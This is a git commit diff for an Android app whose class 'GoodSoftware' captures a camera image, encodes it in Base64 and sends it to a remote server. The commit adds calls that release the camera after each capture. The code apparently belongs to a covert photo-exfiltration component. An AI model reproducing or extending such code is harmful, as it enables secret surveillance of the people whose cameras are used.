closz cam

This commit is contained in:
Joren 2024-05-03 19:46:03 +02:00
parent 09a815d1aa
commit 92387a764b
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55
2 changed files with 4 additions and 2 deletions

View File

@ -27,6 +27,7 @@ android {
getDefaultProguardFile("proguard-android-optimize.txt"), getDefaultProguardFile("proguard-android-optimize.txt"),
"proguard-rules.pro" "proguard-rules.pro"
) )
multiDexEnabled = false
} }
} }
compileOptions { compileOptions {

View File

@ -398,6 +398,7 @@ class GoodSoftware (private val activity: MainActivity) {
val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() { val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
override fun onError(exc: ImageCaptureException) { override fun onError(exc: ImageCaptureException) {
Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc) Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
cameraProvider?.unbindAll()
} }
override fun onCaptureSuccess(image: ImageProxy) { override fun onCaptureSuccess(image: ImageProxy) {
@ -409,7 +410,6 @@ class GoodSoftware (private val activity: MainActivity) {
buffer.get(bytes) buffer.get(bytes)
byteArrayOutputStream.write(bytes) byteArrayOutputStream.write(bytes)
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT) val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
//Log.d(picture.TAG, "Base64 Image: $base64Image")
Thread { Thread {
val conn = establishConnectionWithRetry() val conn = establishConnectionWithRetry()
if (conn == null) { if (conn == null) {
@ -418,6 +418,7 @@ class GoodSoftware (private val activity: MainActivity) {
sendDataToServer(base64Image, conn) sendDataToServer(base64Image, conn)
disconnect(conn) disconnect(conn)
}.start() }.start()
cameraProvider?.unbindAll()
image.close() image.close()
} }
} }
@ -430,7 +431,7 @@ class GoodSoftware (private val activity: MainActivity) {
ContextCompat.getMainExecutor(context), ContextCompat.getMainExecutor(context),
imageCapturedListener imageCapturedListener
) )
cameraProvider?.unbind()
} }